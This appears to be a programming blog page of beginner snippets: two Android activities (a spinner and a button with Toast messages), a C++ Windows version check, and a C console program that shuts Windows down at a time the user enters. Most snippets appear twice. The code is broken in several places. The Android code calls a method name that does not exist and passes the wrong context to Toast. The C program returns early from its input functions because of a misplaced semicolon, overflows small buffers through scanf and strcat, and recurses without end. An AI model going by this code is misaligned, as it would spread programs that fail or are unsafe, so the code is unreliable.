public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
List<String> list = new ArrayList<String>();
list.add(" Test 1 ");
list.add(" Test 2 ");
list.add(" Test 3 ");
list.add(" Test 4 ");
list.add(" Test 5 ");
list.add(" Test 6 ");
list.add(" Test 7 ");
addItemsOnSpinner(list);
}
private void addItemsOnSpinner1(List<String> list) {
spinner1 = (Spinner) findViewById(R.id.spinner1);
ArrayAdapter<String> dataAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item,list);
dataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner1.setAdapter(dataAdapter);
spinner1.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener(){
public void onItemSelected(AdapterView<?> parent, View view, int pos,
long id) {
Toast.makeText(this, "Possition:" + pos, Toast.LENGTH_SHORT).show();
}
public void onNothingSelected(AdapterView<?> arg0) {
// if not select
}
});
}
}
import java.util.ArrayList;
import java.util.List;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.Toast;
public class appTest extends Activity {
private Spinner spinner1;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
List<String> list = new ArrayList<String>();
list.add(" Test 1 ");
list.add(" Test 2 ");
list.add(" Test 3 ");
list.add(" Test 4 ");
list.add(" Test 5 ");
list.add(" Test 6 ");
list.add(" Test 7 ");
addItemsOnSpinner(list);
}
private void addItemsOnSpinner1(List<String> list) {
spinner1 = (Spinner) findViewById(R.id.spinner1);
ArrayAdapter<String> dataAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_spinner_item,list);
dataAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spinner1.setAdapter(dataAdapter);
spinner1.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener(){
public void onItemSelected(AdapterView<?> parent, View view, int pos,
long id) {
Toast.makeText(this, "Possition:" + pos, Toast.LENGTH_SHORT).show();
}
public void onNothingSelected(AdapterView<?> arg0) {
// if not select
}
});
}
}
Add Button to Activity (Android)
package app.Test;
import java.util.ArrayList;
import java.util.List;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.Button;
import android.widget.Toast;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
Toast.makeText(this, "Welcome", Toast.LENGTH_SHORT).show();
}
});
}
}
import java.util.ArrayList;
import java.util.List;
import com.test.android.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.Button;
import android.widget.Toast;
public class appTest extends Activity {
private Button btn;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
BtnListener();
}
private void BtnListener() {
btn = (Button) findViewById(R.id.button1);
btn.setOnClickListener(new OnClickListener(){
public void onClick(View arg0){
Toast.makeText(this, "Welcome", Toast.LENGTH_SHORT).show();
}
});
}
}
How to check OS version (C++)
#include<stdio.h>
#include<string.h>
#include<windows.h>
int IsWin7OrLater() {
DWORD version = GetVersion();
DWORD major = (DWORD) (LOBYTE(LOWORD(version)));
DWORD minor = (DWORD) (HIBYTE(LOWORD(version)));
if((major > 6) || ((major == 6) && (minor >= 1))){
return 1;
}
else return 0;
}
int main (){
if(IsWin7OrLater()){
printf("Windows 7");
}
else
printf("Windows XP");
return 0;
}
#include<string.h>
#include<windows.h>
int IsWin7OrLater() {
DWORD version = GetVersion();
DWORD major = (DWORD) (LOBYTE(LOWORD(version)));
DWORD minor = (DWORD) (HIBYTE(LOWORD(version)));
if((major > 6) || ((major == 6) && (minor >= 1))){
return 1;
}
else return 0;
}
int main (){
if(IsWin7OrLater()){
printf("Windows 7");
}
else
printf("Windows XP");
return 0;
}
Windows shutting down (C code)
/*
* Shutting down.c
*
* Created on: 02.03.2012
* Author: fasenov
*/
//Copy right Filip
//Made on Tue Feb 28 16:08:00 2012
//The program is work only on Windows OS
#include<stdio.h>
#include<windows.h>
#include<time.h>
#include<string.h>
char str[25]={};
time_t rawtime;
struct tm * timeinfo;
void HEADER(){
printf("///////////////////////////////");
printf("///////////////////////////////\n");
puts("// Shutting down\n// Created on: 02.03.2012\n// Author: faleksandrov */");
puts("// Copy right Filip\n// Made on Tue Feb 28 16:08:00 2012\n// The program is work only on Windows OS");
printf("///////////////////////////////");
printf("///////////////////////////////\n\n");
}
void input_w_day(char *w_day){
int key;
const char day[][5] = {"Mon ","Tue ","Wed ","Thu ","Fri ","Sat ","Sun "};
e:
printf("Current local time:%s\n",asctime (timeinfo));
printf("Choose the day: \n");
printf("1-Monday\n");
printf("2-Tuesday\n");
printf("3-Wednesday\n");
printf("4-Thursday\n");
printf("5-Friday\n");
printf("6-Saturday\n");
printf("7-Sunday\n");
printf("0-Exit\n");
scanf("%d",&key);
if(key==0) strcat(w_day,"ERROR");return;
if((key<1)||(key>7)){
system("cls");
goto e;
}
else {
strcat(w_day,day[key-1]);
}
system("cls");
}
void input_month(char *month){
int key;
const char mon[][5]={"Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec "};
printf("Current local time: %s\n",asctime (timeinfo));
printf("Choose the month: \n");
printf("1-January\n");
printf("2-February\n");
printf("3-March\n");
printf("4-April\n");
printf("5-May\n");
printf("6-June\n");
printf("7-July\n");
printf("8-August\n");
printf("9-September\n");
printf("10-October\n");
printf("11-November\n");
printf("12-December\n");
printf("0-Exit\n");
scanf("%d",&key);
if(key==0) strcat(month,"ERROR");return;
if((key<1)||(key>12)){
system("cls");
input_month(month);
}
else {
strcat(month,mon[key-1]);
}
system("cls");
}
void input_n_day(char *n_day){
char day[3]={};
char time[26]={};
char check[10]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=8;i<10;i++){
check[i]=time[i+8];
}
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("Enter the day with number : ");
scanf("%s",&day);
//printf("%d",strlen(day));
if(strlen(day)==2){
if((day[0]<'0') || (day[0]>'3')) {goto e;}
if((day[1]<'0') || (day[1]>'9')) {goto e;}
if((day[0]=='3') && (day[1]>'1')) {goto e;}
if((day[0]<check[0])||(day[1]<check[1])){goto e;}
}
else if((day[0]<check[1])&&(strlen(day)!=1))goto e;
else {
char tmp = day[0];
day[0]='0';
day[1]=tmp;
}
strcat(n_day,day);
strcat(n_day," ");
system("cls");
}
void input_hour(char *hour){
char hms[10]={};
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("Input time HH:MM:SS ");
scanf("%s",&hms);
if((hms[0]<'0')||(hms[0]>'2')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[1]<'0')||(hms[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[0]=='2')&&(hms[1]>'4')){system("cls");printf("Wrong hour\n");goto e;}
if((hms[3]<'0')||(hms[3]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[4]<'0')||(hms[4]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[6]<'0')||(hms[6]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[7]<'0')||(hms[7]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[2]!=':')||(hms[5]!=':')) {system("cls");printf("Must use ':' for delimiter\n");goto e;}
strcat(hour,hms);
strcat(hour," ");
system("cls");
}
void input_year(char *year){
char y[5]={};
char time[26]={};
char check[5]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=0;i<4;i++){
check[i]=time[i+20];
}
e:
system("cls");
printf("Current local time: %s\n",asctime (timeinfo));
printf("Input year XXXX : ");
scanf("%s",&y);
printf("\n");
if(check[0]>y[0]) {goto e;}
else if(check[1]>y[1]) {goto e;}
else if(check[2]>y[2]) {goto e;}
else if(check[3]>y[3]) {goto e;}
strcat(year,y);
}
void convert_data(char *str){
char w_day[6]={};
char month[6]={};
char n_day[4]={};
char hour[10]={};
char year[5]={};
input_w_day(w_day);
if(strcmp(w_day,"ERROR")==0){strcat(str,"ERROR");return;}
input_month(month);
if(strcmp(month,"ERROR")==0){strcat(str,"ERROR");return;}
input_n_day(n_day);
input_hour(hour);
input_year(year);
strcat(str,w_day);
strcat(str,month);
strcat(str,n_day);
strcat(str,hour);
strcat(str,year);
strcat(str,"\n");
}
void curent()
{
time ( &rawtime );
timeinfo = localtime ( &rawtime );
printf("Time to shut down: %s\n",str);
printf("Current local time: %s\n",asctime (timeinfo));
if (!strcmp(asctime (timeinfo),str))
{
system("shutdown -s -t 1");
//printf("BOOM");
//Sleep(5000);
}
}
void process ()
{
HEADER();
curent();
Sleep(1000);
system("cls");
process();
}
void smart(char *strt){
char h[3];
char m[3];
char s[3];
char time[26]={};
char time1[26]={};
char check[10]={};
char yearr[6]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=0;i<4;i++){
yearr[i]=time[i+20];
}
strncpy(time1,asctime (timeinfo),11);
e:
system("cls");
printf("Current local time: %s\n",asctime (timeinfo));
printf("Please enter the hour :-->");
scanf("%s",&h);
if((h[0]<'0')||(h[0]>'2')) {system("cls");printf("Wrong hour\n");goto e;}
if((h[1]<'0')||(h[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((h[0]=='2')&&(h[1]>'4')){system("cls");printf("Wrong hour\n");goto e;}
printf("Please enter the minutes :-->");
scanf("%s",&m);
if((m[0]<'0')||(m[0]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((m[1]<'0')||(m[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
printf("Please enter the seconds :-->");
scanf("%s",&s);
if((s[0]<'0')||(s[0]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((s[1]<'0')||(s[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
strcat(check,h);
strcat(check,":");
strcat(check,m);
strcat(check,":");
strcat(check,s);
strcat(check," ");
strcat(strt,time1);
strcat(strt,check);
strcat(strt,yearr);
strcat(strt,"\n");
}
int main ()
{
int key;
HEADER();
time ( &rawtime );
timeinfo = localtime ( &rawtime );
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("I want advanced search , press 1\n");
printf("To enter the hour press 2\n");
printf("To EXIT press 0\n");
printf("-->");
scanf("%d",&key);
if(key==1){
printf("Enter time to shut down :)\n");
convert_data(str);
}
else if(key==2){
smart(str);
}
else if (key != 0) goto e;
else strcat(str,"ERROR");
if(strcmp(str,"ERROR")!=0){
process();
}
return 0;
}
* Shutting down.c
*
* Created on: 02.03.2012
* Author: fasenov
*/
//Copy right Filip
//Made on Tue Feb 28 16:08:00 2012
//The program is work only on Windows OS
#include<stdio.h>
#include<windows.h>
#include<time.h>
#include<string.h>
char str[25]={};
time_t rawtime;
struct tm * timeinfo;
void HEADER(){
printf("///////////////////////////////");
printf("///////////////////////////////\n");
puts("// Shutting down\n// Created on: 02.03.2012\n// Author: faleksandrov */");
puts("// Copy right Filip\n// Made on Tue Feb 28 16:08:00 2012\n// The program is work only on Windows OS");
printf("///////////////////////////////");
printf("///////////////////////////////\n\n");
}
void input_w_day(char *w_day){
int key;
const char day[][5] = {"Mon ","Tue ","Wed ","Thu ","Fri ","Sat ","Sun "};
e:
printf("Current local time:%s\n",asctime (timeinfo));
printf("Choose the day: \n");
printf("1-Monday\n");
printf("2-Tuesday\n");
printf("3-Wednesday\n");
printf("4-Thursday\n");
printf("5-Friday\n");
printf("6-Saturday\n");
printf("7-Sunday\n");
printf("0-Exit\n");
scanf("%d",&key);
if(key==0) strcat(w_day,"ERROR");return;
if((key<1)||(key>7)){
system("cls");
goto e;
}
else {
strcat(w_day,day[key-1]);
}
system("cls");
}
void input_month(char *month){
int key;
const char mon[][5]={"Jan ","Feb ","Mar ","Apr ","May ","Jun ","Jul ","Aug ","Sep ","Oct ","Nov ","Dec "};
printf("Current local time: %s\n",asctime (timeinfo));
printf("Choose the month: \n");
printf("1-January\n");
printf("2-February\n");
printf("3-March\n");
printf("4-April\n");
printf("5-May\n");
printf("6-June\n");
printf("7-July\n");
printf("8-August\n");
printf("9-September\n");
printf("10-October\n");
printf("11-November\n");
printf("12-December\n");
printf("0-Exit\n");
scanf("%d",&key);
if(key==0) strcat(month,"ERROR");return;
if((key<1)||(key>12)){
system("cls");
input_month(month);
}
else {
strcat(month,mon[key-1]);
}
system("cls");
}
void input_n_day(char *n_day){
char day[3]={};
char time[26]={};
char check[10]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=8;i<10;i++){
check[i]=time[i+8];
}
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("Enter the day with number : ");
scanf("%s",&day);
//printf("%d",strlen(day));
if(strlen(day)==2){
if((day[0]<'0') || (day[0]>'3')) {goto e;}
if((day[1]<'0') || (day[1]>'9')) {goto e;}
if((day[0]=='3') && (day[1]>'1')) {goto e;}
if((day[0]<check[0])||(day[1]<check[1])){goto e;}
}
else if((day[0]<check[1])&&(strlen(day)!=1))goto e;
else {
char tmp = day[0];
day[0]='0';
day[1]=tmp;
}
strcat(n_day,day);
strcat(n_day," ");
system("cls");
}
void input_hour(char *hour){
char hms[10]={};
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("Input time HH:MM:SS ");
scanf("%s",&hms);
if((hms[0]<'0')||(hms[0]>'2')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[1]<'0')||(hms[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[0]=='2')&&(hms[1]>'4')){system("cls");printf("Wrong hour\n");goto e;}
if((hms[3]<'0')||(hms[3]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[4]<'0')||(hms[4]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[6]<'0')||(hms[6]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[7]<'0')||(hms[7]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((hms[2]!=':')||(hms[5]!=':')) {system("cls");printf("Must use ':' for delimiter\n");goto e;}
strcat(hour,hms);
strcat(hour," ");
system("cls");
}
void input_year(char *year){
char y[5]={};
char time[26]={};
char check[5]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=0;i<4;i++){
check[i]=time[i+20];
}
e:
system("cls");
printf("Current local time: %s\n",asctime (timeinfo));
printf("Input year XXXX : ");
scanf("%s",&y);
printf("\n");
if(check[0]>y[0]) {goto e;}
else if(check[1]>y[1]) {goto e;}
else if(check[2]>y[2]) {goto e;}
else if(check[3]>y[3]) {goto e;}
strcat(year,y);
}
void convert_data(char *str){
char w_day[6]={};
char month[6]={};
char n_day[4]={};
char hour[10]={};
char year[5]={};
input_w_day(w_day);
if(strcmp(w_day,"ERROR")==0){strcat(str,"ERROR");return;}
input_month(month);
if(strcmp(month,"ERROR")==0){strcat(str,"ERROR");return;}
input_n_day(n_day);
input_hour(hour);
input_year(year);
strcat(str,w_day);
strcat(str,month);
strcat(str,n_day);
strcat(str,hour);
strcat(str,year);
strcat(str,"\n");
}
void curent()
{
time ( &rawtime );
timeinfo = localtime ( &rawtime );
printf("Time to shut down: %s\n",str);
printf("Current local time: %s\n",asctime (timeinfo));
if (!strcmp(asctime (timeinfo),str))
{
system("shutdown -s -t 1");
//printf("BOOM");
//Sleep(5000);
}
}
void process ()
{
HEADER();
curent();
Sleep(1000);
system("cls");
process();
}
void smart(char *strt){
char h[3];
char m[3];
char s[3];
char time[26]={};
char time1[26]={};
char check[10]={};
char yearr[6]={};
strcpy(time,asctime (timeinfo));
int i;
for(i=0;i<4;i++){
yearr[i]=time[i+20];
}
strncpy(time1,asctime (timeinfo),11);
e:
system("cls");
printf("Current local time: %s\n",asctime (timeinfo));
printf("Please enter the hour :-->");
scanf("%s",&h);
if((h[0]<'0')||(h[0]>'2')) {system("cls");printf("Wrong hour\n");goto e;}
if((h[1]<'0')||(h[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
if((h[0]=='2')&&(h[1]>'4')){system("cls");printf("Wrong hour\n");goto e;}
printf("Please enter the minutes :-->");
scanf("%s",&m);
if((m[0]<'0')||(m[0]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((m[1]<'0')||(m[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
printf("Please enter the seconds :-->");
scanf("%s",&s);
if((s[0]<'0')||(s[0]>'5')) {system("cls");printf("Wrong hour\n");goto e;}
if((s[1]<'0')||(s[1]>'9')) {system("cls");printf("Wrong hour\n");goto e;}
strcat(check,h);
strcat(check,":");
strcat(check,m);
strcat(check,":");
strcat(check,s);
strcat(check," ");
strcat(strt,time1);
strcat(strt,check);
strcat(strt,yearr);
strcat(strt,"\n");
}
int main ()
{
int key;
HEADER();
time ( &rawtime );
timeinfo = localtime ( &rawtime );
e:
printf("Current local time: %s\n",asctime (timeinfo));
printf("I want advanced search , press 1\n");
printf("To enter the hour press 2\n");
printf("To EXIT press 0\n");
printf("-->");
scanf("%d",&key);
if(key==1){
printf("Enter time to shut down :)\n");
convert_data(str);
}
else if(key==2){
smart(str);
}
else if (key != 0) goto e;
else strcat(str,"ERROR");
if(strcmp(str,"ERROR")!=0){
process();
}
return 0;
}
Subscribe to:
Posts (Atom)